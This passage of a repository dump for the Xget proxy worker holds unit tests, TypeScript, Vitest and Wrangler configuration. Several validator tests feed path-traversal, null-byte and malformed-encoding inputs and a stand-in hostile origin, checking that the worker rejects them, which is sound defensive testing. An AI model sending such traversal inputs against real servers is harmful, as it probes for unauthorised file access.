rewriteTextResponse('gh', '/gh/user/repo/file.txt', 'unchanged', 'https://example.com')
).toBe('unchanged');
});
});
================================================
FILE: test/unit/utils.test.js
================================================
import { describe, expect, it } from 'vitest';
import { createConfig } from '../../src/config/index.js';
import { isGitLFSRequest, isGitRequest } from '../../src/protocols/git.js';
import {
addCorsHeaders,
addSecurityHeaders,
createErrorResponse,
resolveAllowedOrigin
} from '../../src/utils/security.js';
import { getAllowedMethods, isDockerRequest, validateRequest } from '../../src/utils/validation.js';
describe('Utility Functions', () => {
describe('isGitRequest', () => {
it('should identify Git info/refs requests', () => {
const request = new Request('https://example.com/repo.git/info/refs');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should identify Git requests by User-Agent', () => {
const request = new Request('https://example.com/repo.git', {
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(true);
});
it('should not identify regular file requests as Git', () => {
const request = new Request('https://example.com/repo/file.txt');
const url = new URL(request.url);
expect(isGitRequest(request, url)).toBe(false);
});
});
describe('isGitLFSRequest', () => {
it('should identify LFS batch API requests', () => {
const request = new Request('https://example.com/repo.git/objects/batch', {
method: 'POST',
headers: { 'Content-Type': 'application/vnd.git-lfs+json' }
});
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(true);
});
it('should identify LFS requests by User-Agent', () => {
const request = new Request('https://example.com/repo.git', {
headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' }
});
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(true);
});
it('should not identify regular file requests as LFS', () => {
const request = new Request('https://example.com/repo/file.txt');
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(false);
});
});
describe('validateRequest', () => {
it('should allow GET requests', () => {
const request = new Request('https://example.com/test', { method: 'GET' });
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(true);
});
it('should allow POST requests for Git operations', () => {
const request = new Request('https://example.com/repo.git/git-upload-pack', {
method: 'POST',
headers: { 'User-Agent': 'git/2.34.1' }
});
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(true);
});
it('should reject encoded traversal attempts against the production validator', () => {
const request = new Request('https://example.com/gh/user/repo/%2e%2e%2fsecret');
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject raw traversal sequences from the original request URL', () => {
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/../secret'
});
const url = new URL('https://example.com/gh/user/secret');
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject paths containing ASCII control characters', () => {
const baseUrl = new URL('https://example.com/gh/user/repo/%00file');
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/%00file'
});
const url = /** @type {URL} */ ({
origin: 'https://example.com',
pathname: '/gh/user/repo/\u0000file',
searchParams: baseUrl.searchParams
});
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject malformed percent-encoded paths', () => {
const baseUrl = new URL('https://example.com/gh/user/repo/%E0%A4%A');
const request = /** @type {Request} */ ({
headers: new Headers(),
method: 'GET',
url: 'https://example.com/gh/user/repo/%E0%A4%A'
});
const url = /** @type {URL} */ ({
origin: 'https://example.com',
pathname: '/gh/user/repo/%E0%A4%A',
searchParams: baseUrl.searchParams
});
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(400);
});
it('should reject unsupported methods for regular requests', () => {
const request = new Request('https://example.com/gh/user/repo/file.txt', { method: 'PATCH' });
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig());
expect(result.valid).toBe(false);
expect(result.status).toBe(405);
});
it('should reject paths longer than the configured maximum', () => {
const request = new Request(`https://example.com/gh/${'a'.repeat(200)}`);
const url = new URL(request.url);
const result = validateRequest(request, url, createConfig({ MAX_PATH_LENGTH: '32' }));
expect(result.valid).toBe(false);
expect(result.status).toBe(414);
});
});
describe('getAllowedMethods', () => {
it('should respect configured methods for regular requests', () => {
const config = createConfig({ ALLOWED_METHODS: 'GET,HEAD,POST' });
const request = new Request('https://example.com/gh/test/repo/issues', { method: 'POST' });
const url = new URL(request.url);
expect(getAllowedMethods(request, url, config)).toEqual(['GET', 'HEAD', 'POST']);
});
it('should allow mutating methods for Hugging Face API endpoints', () => {
const request = new Request('https://example.com/hf/token', { method: 'DELETE' });
const url = new URL(request.url);
expect(getAllowedMethods(request, url)).toEqual([
'GET',
'HEAD',
'POST',
'PUT',
'PATCH',
'DELETE'
]);
});
});
describe('isDockerRequest', () => {
it('should identify canonical registry API paths', () => {
const request = new Request('https://example.com/cr/ghcr/v2/demo/manifests/latest');
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(true);
});
it('should identify Docker requests by user agent or manifest headers', () => {
const userAgentRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { 'User-Agent': 'docker/27.0.0' }
});
const acceptRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { Accept: 'application/vnd.oci.image.manifest.v1+json' }
});
const contentTypeRequest = new Request('https://example.com/cr/docker/library/nginx', {
headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' }
});
expect(isDockerRequest(userAgentRequest, new URL(userAgentRequest.url))).toBe(true);
expect(isDockerRequest(acceptRequest, new URL(acceptRequest.url))).toBe(true);
expect(isDockerRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true);
});
it('should not treat generic /cr/ requests as Docker traffic without registry hints', () => {
const request = new Request('https://example.com/cr/docker/library/nginx/readme');
const url = new URL(request.url);
expect(isDockerRequest(request, url)).toBe(false);
});
});
describe('addSecurityHeaders', () => {
it('should add all required security headers', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result.get('Strict-Transport-Security')).toContain('max-age=31536000');
expect(result.get('X-Frame-Options')).toBe('DENY');
expect(result.get('X-XSS-Protection')).toBe('1; mode=block');
expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
expect(result.get('Content-Security-Policy')).toContain("default-src 'none'");
expect(result.get('Permissions-Policy')).toContain('interest-cohort=()');
});
it('should return the same Headers object', () => {
const headers = new Headers();
const result = addSecurityHeaders(headers);
expect(result).toBe(headers);
});
});
describe('resolveAllowedOrigin', () => {
it('should return the matching origin from the production config', () => {
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://app.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBe('https://app.example.com');
});
it('should reject origins that are not configured', () => {
const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://evil.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBeNull();
});
it('should allow any origin when wildcard CORS is configured', () => {
const config = createConfig({ ALLOWED_ORIGINS: '*' });
const request = new Request('https://example.com/gh/test/repo', {
headers: { Origin: 'https://app.example.com' }
});
expect(resolveAllowedOrigin(request, config)).toBe('*');
});
});
describe('addCorsHeaders', () => {
it('should append allow headers and preserve existing Vary values', () => {
const config = createConfig({ ALLOWED_ORIGINS: '*' });
const request = new Request('https://example.com/gh/test/repo', {
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Headers': 'X-Test-Header'
}
});
const headers = addCorsHeaders(new Headers({ Vary: 'Accept-Encoding' }), request, config);
expect(headers.get('Access-Control-Allow-Origin')).toBe('*');
expect(headers.get('Access-Control-Allow-Headers')).toBe('X-Test-Header');
expect(headers.get('Vary')).toBe('Accept-Encoding, Origin');
});
});
describe('createErrorResponse', () => {
it('should create a plain-text error response with security headers', async () => {
const response = createErrorResponse('Bad Request', 400);
expect(response.status).toBe(400);
expect(response.headers.get('Content-Type')).toBe('text/plain');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
expect(await response.text()).toBe('Bad Request');
});
it('should create detailed JSON error responses when requested', async () => {
const response = createErrorResponse('Unauthorized', 401, true);
const body = await response.json();
expect(response.headers.get('Content-Type')).toBe('application/json');
expect(body).toMatchObject({
error: 'Unauthorized',
status: 401
});
expect(body.timestamp).toBeTruthy();
});
});
});
================================================
FILE: test/unit/worker-regressions.test.js
================================================
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Worker regression coverage', () => {
/** @type {{ match: ReturnType, put: ReturnType }} */
let cacheDefault;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', {
default: cacheDefault
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('does not leak thrown upstream error details to clients', async () => {
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('secret-upstream-detail'));
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
executionContext
);
const body = await response.text();
expect(response.status).toBe(502);
expect(body).not.toContain('secret-upstream-detail');
expect(body).not.toContain('Failed after');
});
it('clears timeout handles when upstream fetch rejects', async () => {
const timeoutToken = { id: 'timeout-token' };
const setTimeoutSpy = vi.fn(() => timeoutToken);
const clearTimeoutSpy = vi.fn();
vi.stubGlobal('setTimeout', setTimeoutSpy);
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('boom'));
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '5' },
executionContext
);
expect(response.status).toBe(502);
expect(setTimeoutSpy).toHaveBeenCalled();
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
});
it('does not cache host-bound PyPI rewritten HTML responses', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('demo ', {
status: 200,
headers: { 'Content-Type': 'text/html; charset=utf-8' }
})
);
const response = await worker.fetch(
new Request('https://mirror.example/pypi/simple/demo/'),
{},
executionContext
);
const body = await response.text();
expect(response.status).toBe(200);
expect(body).toContain('https://mirror.example/pypi/files/packages/demo.whl');
expect(response.headers.get('Cache-Control')).toBe('no-store');
expect(cacheDefault.put).not.toHaveBeenCalled();
});
it('forwards body and content type for configured non-protocol POST requests', async () => {
/** @type {{ url: string, method: string | undefined, body: string | null, contentType: string | null, cf: unknown }} */
let observed = {
url: '',
method: undefined,
body: null,
contentType: null,
cf: undefined
};
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
observed = {
url: String(input),
method: init?.method,
body: init?.body ? await new Response(init.body).text() : null,
contentType: new Headers(init?.headers).get('Content-Type'),
cf: /** @type {RequestInit & { cf?: unknown }} */ (init || {}).cf
};
return new Response('created', {
status: 201,
headers: { 'Content-Type': 'text/plain' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/issues', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title: 'test' })
}),
{ ALLOWED_METHODS: 'GET,HEAD,POST' },
executionContext
);
expect(response.status).toBe(201);
expect(observed).toEqual({
url: 'https://github.com/user/repo/issues',
method: 'POST',
body: JSON.stringify({ title: 'test' }),
contentType: 'application/json',
cf: undefined
});
expect(fetchSpy).toHaveBeenCalledTimes(1);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('no-store');
});
it('returns Docker registry version metadata for /v2/ probes', async () => {
const response = await worker.fetch(
new Request('https://example.com/v2/'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
expect(response.headers.get('X-Performance-Metrics')).toBeNull();
expect(await response.text()).toBe('{}');
});
it('redirects unknown platforms and bare platform prefixes to the homepage', async () => {
const unknownPlatform = await worker.fetch(
new Request('https://example.com/not-a-platform/resource'),
{},
executionContext
);
const barePlatform = await worker.fetch(
new Request('https://example.com/gh/', { method: 'GET' }),
{},
executionContext
);
expect(unknownPlatform.status).toBe(302);
expect(unknownPlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
expect(barePlatform.status).toBe(302);
expect(barePlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('rejects Docker requests that do not use a /cr/ prefix', async () => {
const response = await worker.fetch(
new Request('https://example.com/v2/library/nginx/manifests/latest'),
{},
executionContext
);
expect(response.status).toBe(400);
expect(await response.text()).toContain('/cr/ prefix');
});
it('rejects disallowed CORS preflight methods before proxying upstream', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'POST'
}
}),
{ ALLOWED_ORIGINS: 'https://app.example.com' },
executionContext
);
expect(response.status).toBe(405);
expect(await response.text()).toBe('Method not allowed');
});
it('serves cached responses without proxying upstream', async () => {
cacheDefault.match.mockResolvedValueOnce(
new Response('cached-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('should-not-run', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(200);
expect(await response.text()).toBe('cached-body');
expect(metrics).toHaveProperty('cache_hit');
expect(fetchSpy).not.toHaveBeenCalled();
});
it('reuses cached full content for range requests when a ranged entry is absent', async () => {
cacheDefault.match.mockResolvedValueOnce(null).mockResolvedValueOnce(
new Response('full-body', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('should-not-run', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', {
headers: { Range: 'bytes=0-3' }
}),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(200);
expect(await response.text()).toBe('full-body');
expect(metrics).toHaveProperty('cache_hit_full_content');
expect(fetchSpy).not.toHaveBeenCalled();
});
it('falls back to upstream fetch when cache lookup throws', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.match.mockRejectedValueOnce(new Error('cache-down'));
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(1);
expect(warnSpy).toHaveBeenCalledWith('Cache API unavailable:', expect.any(Error));
});
it('configures Git passthrough headers for upload-pack requests', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 200,
headers: { 'Content-Type': 'application/x-git-upload-pack-result' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo.git/git-upload-pack', {
method: 'POST'
}),
{},
executionContext
);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(response.status).toBe(200);
expect(upstreamHeaders.get('User-Agent')).toBe('git/2.34.1');
expect(upstreamHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request');
});
it('derives HEAD content length from a range probe when the upstream omits it', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.method === 'HEAD') {
return new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
}
expect(new Headers(init?.headers).get('Range')).toBe('bytes=0-0');
return new Response(null, {
status: 206,
headers: { 'Content-Range': 'bytes 0-0/123' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('123');
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('uses a successful GET probe to recover missing HEAD content length', async () => {
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.method === 'HEAD') {
return new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
}
return new Response(null, {
status: 200,
headers: { 'Content-Length': '321' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('321');
});
it('wraps upstream client errors in detailed JSON responses', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('teapot', {
status: 418,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '1', RETRY_DELAY_MS: '0' },
executionContext
);
const body = await response.json();
expect(response.status).toBe(418);
expect(body.error).toContain('Upstream server error (418): teapot');
});
it('retries upstream 5xx responses before succeeding', async () => {
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockResolvedValueOnce(
new Response('busy', {
status: 503,
headers: { 'Content-Type': 'text/plain' }
})
)
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('retries rejected upstream fetches before succeeding', async () => {
const fetchSpy = vi
.spyOn(globalThis, 'fetch')
.mockRejectedValueOnce(new Error('temporary-network-failure'))
.mockResolvedValueOnce(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0' },
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(2);
});
it('times out requests when the abort timer fires', async () => {
const timeoutToken = { id: 'abort-timeout' };
const clearTimeoutSpy = vi.fn();
vi.stubGlobal(
'setTimeout',
vi.fn((callback, delay) => {
void delay;
callback();
return timeoutToken;
})
);
vi.stubGlobal('clearTimeout', clearTimeoutSpy);
vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
if (init?.signal?.aborted) {
const error = new Error(`Aborted before fetching ${String(input)}`);
error.name = 'AbortError';
throw error;
}
return new Response('unexpected-success', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
});
});
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '2', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' },
executionContext
);
expect(response.status).toBe(408);
expect(await response.text()).toBe('Request timeout');
expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken);
});
it('returns a generic 500 when retry configuration prevents any upstream attempt', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{ MAX_RETRIES: '-1' },
executionContext
);
expect(response.status).toBe(500);
expect(await response.text()).toBe('No response received after all retry attempts');
expect(fetchSpy).not.toHaveBeenCalled();
});
it('logs and recovers when request setup throws unexpectedly', async () => {
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
const redirectSpy = vi.spyOn(Response, 'redirect').mockImplementation(() => {
throw new Error('boom');
});
const response = await worker.fetch(new Request('https://example.com/'), {}, executionContext);
expect(response.status).toBe(500);
expect(await response.text()).toBe('Internal Server Error');
expect(errorSpy).toHaveBeenCalledWith('Error handling request:', expect.any(Error));
expect(redirectSpy).toHaveBeenCalled();
});
it('retries Docker requests with an anonymous token and follows redirects on success', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => {
const url = String(input);
const headers = new Headers(init?.headers);
if (url === 'https://ghcr.io/v2/private/repo/manifests/latest') {
if (!headers.has('Authorization')) {
return new Response('', {
status: 401,
headers: {
'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"'
}
});
}
expect(headers.get('Authorization')).toBe('Bearer token-123');
return new Response(null, {
status: 302,
headers: { Location: 'https://pkg.example.com/manifest' }
});
}
if (url.startsWith('https://ghcr.io/token')) {
return new Response(JSON.stringify({ token: 'token-123' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
});
}
if (url === 'https://pkg.example.com/manifest') {
expect(headers.get('Authorization')).toBeNull();
return new Response('', {
status: 200,
headers: { 'Content-Length': '0' }
});
}
throw new Error(`Unexpected fetch URL: ${url}`);
});
const response = await worker.fetch(
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(fetchSpy).toHaveBeenCalledTimes(4);
});
it('warns and falls back to a Docker auth challenge when token negotiation fails', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('', {
status: 401,
headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token"' }
})
);
const response = await worker.fetch(
new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', {
headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' }
}),
{},
executionContext
);
expect(response.status).toBe(401);
expect(response.headers.get('WWW-Authenticate')).toBe(
'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"'
);
expect(warnSpy).toHaveBeenCalledWith('Token fetch failed:', expect.any(Error));
});
it('returns a ranged response after caching the full upstream body', async () => {
cacheDefault.match
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(
new Response('xy', {
status: 206,
headers: { 'Content-Range': 'bytes 0-1/6' }
})
);
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('xyz123', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.bin', {
headers: { Range: 'bytes=0-1' }
}),
{},
executionContext
);
const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}');
expect(response.status).toBe(206);
expect(metrics).toHaveProperty('range_cache_hit_after_full_cache');
});
it('warns when cache writes fail without waitUntil support', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.put.mockRejectedValueOnce(new Error('cache-put-down'));
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('cached', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
/** @type {ExecutionContext} */ ({})
);
await Promise.resolve();
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Cache put failed:', expect.any(Error));
});
it('warns when post-store cache lookups fail for range requests', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
cacheDefault.match
.mockResolvedValueOnce(null)
.mockResolvedValueOnce(null)
.mockRejectedValueOnce(new Error('range-cache-down'));
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('abcdef', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.bin', {
headers: { Range: 'bytes=0-1' }
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Cache put/match failed:', expect.any(Error));
});
it('copies upstream content length from non-standard header objects when needed', async () => {
const upstreamHeaders = {
/**
* Reads an upstream header value.
* @param {string} name
*/
get(name) {
const header = name.toLowerCase();
if (header === 'content-type') {
return 'text/plain';
}
if (header === 'content-length') {
return '777';
}
return null;
},
*[Symbol.iterator]() {
yield ['Content-Type', 'text/plain'];
}
};
const fakeResponse = /** @type {Response} */ ({
body: null,
headers: upstreamHeaders,
ok: true,
status: 200,
statusText: 'OK',
text: async () => 'ok'
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Content-Length')).toBe('777');
});
it('warns when upstream content length cannot be read during response finalization', async () => {
const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
const upstreamHeaders = {
/**
* Reads an upstream header value.
* @param {string} name
*/
get(name) {
if (name.toLowerCase() === 'content-type') {
return 'text/plain';
}
throw new Error('content-length unavailable');
},
*[Symbol.iterator]() {
yield ['Content-Type', 'text/plain'];
}
};
const fakeResponse = /** @type {Response} */ ({
body: null,
headers: upstreamHeaders,
ok: true,
status: 200,
statusText: 'OK',
text: async () => 'ok'
});
vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse);
const response = await worker.fetch(
new Request('https://example.com/gh/user/repo/file.txt'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(warnSpy).toHaveBeenCalledWith('Could not set Content-Length header:', expect.any(Error));
});
});
================================================
FILE: test/unit/xget-skill-script.test.js
================================================
import { describe, expect, it } from 'vitest';
import {
createPlatformEntries,
extractPlatformsModule,
loadPlatformsFromSource
} from '../../skills/xget/scripts/xget.mjs';
describe('xget skill script', () => {
it('extracts platform data from the new platform catalog source', () => {
const source = `export const PLATFORM_CATALOG = {
gh: 'https://github.com',
'cr-ghcr': 'https://ghcr.io'
};
export const PLATFORMS = PLATFORM_CATALOG;
`;
expect(extractPlatformsModule(source)).toEqual({
gh: 'https://github.com',
'cr-ghcr': 'https://ghcr.io'
});
});
it('still accepts the legacy PLATFORMS object source', () => {
const source = `export const PLATFORMS = {
npm: 'https://registry.npmjs.org'
};
`;
expect(extractPlatformsModule(source)).toEqual({
npm: 'https://registry.npmjs.org'
});
});
it('loads categorized platform entries from the extracted source', () => {
const entries = loadPlatformsFromSource(`export const PLATFORM_CATALOG = {
gh: 'https://github.com',
'ip-openai': 'https://api.openai.com',
'cr-ghcr': 'https://ghcr.io'
};
`);
expect(entries).toEqual(
createPlatformEntries({
gh: 'https://github.com',
'ip-openai': 'https://api.openai.com',
'cr-ghcr': 'https://ghcr.io'
})
);
});
});
================================================
FILE: tsconfig.json
================================================
{
"compilerOptions": {
"allowJs": true,
"checkJs": true,
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"module": "ESNext",
"moduleResolution": "bundler",
"noEmit": true,
"skipLibCheck": true,
"strict": true,
"target": "ES2022"
},
"exclude": ["node_modules", "dist", "coverage"],
"include": ["src/**/*", "test/**/*", "node_modules/@cloudflare/vitest-pool-workers/types/**/*"]
}
================================================
FILE: vitest.config.js
================================================
import { cloudflareTest } from '@cloudflare/vitest-pool-workers';
import { defineConfig } from 'vitest/config';
export default defineConfig({
plugins: [
cloudflareTest({
wrangler: { configPath: './wrangler.toml' }
})
],
test: {
testTimeout: 60000,
hookTimeout: 30000
}
});
================================================
FILE: vitest.coverage.config.js
================================================
import { defineConfig } from 'vitest/config';
export default defineConfig({
test: {
testTimeout: 60000,
hookTimeout: 30000,
include: [
'test/features/auth.test.js',
'test/unit/**/*.test.js',
'test/platforms/crates.test.js',
'test/platforms/cran.test.js',
'test/platforms/flathub.test.js',
'test/platforms/homebrew.test.js',
'test/platforms/jenkins.test.js',
'test/platforms/npm-fix.test.js',
'test/platforms/opensuse.test.js'
],
coverage: {
// Cloudflare's Vitest Workers pool cannot emit reliable coverage yet,
// so this suite targets the Node-compatible tests that still exercise src/.
provider: 'istanbul',
reporter: ['text', 'json', 'html', 'lcov'],
reportsDirectory: './coverage',
exclude: [
'node_modules/**',
'test/**',
'coverage/**',
'dist/**',
'*.config.js',
'*.config.ts'
],
include: ['src/**/*.js', 'src/**/*.ts'],
thresholds: {
global: {
branches: 65,
functions: 75,
lines: 70,
statements: 70
}
}
}
}
});
================================================
FILE: wrangler.toml
================================================
#:schema node_modules/wrangler/config-schema.json
name = "xget"
main = "src/index.js"
compatibility_date = "2024-10-22"
compatibility_flags = ["nodejs_compat"]
workers_dev = false
[placement]
mode = "smart"
[observability]
enabled = false
head_sampling_rate = 1
[observability.logs]
enabled = true
head_sampling_rate = 1
persist = true
invocation_logs = true
[observability.traces]
enabled = true
persist = true
head_sampling_rate = 1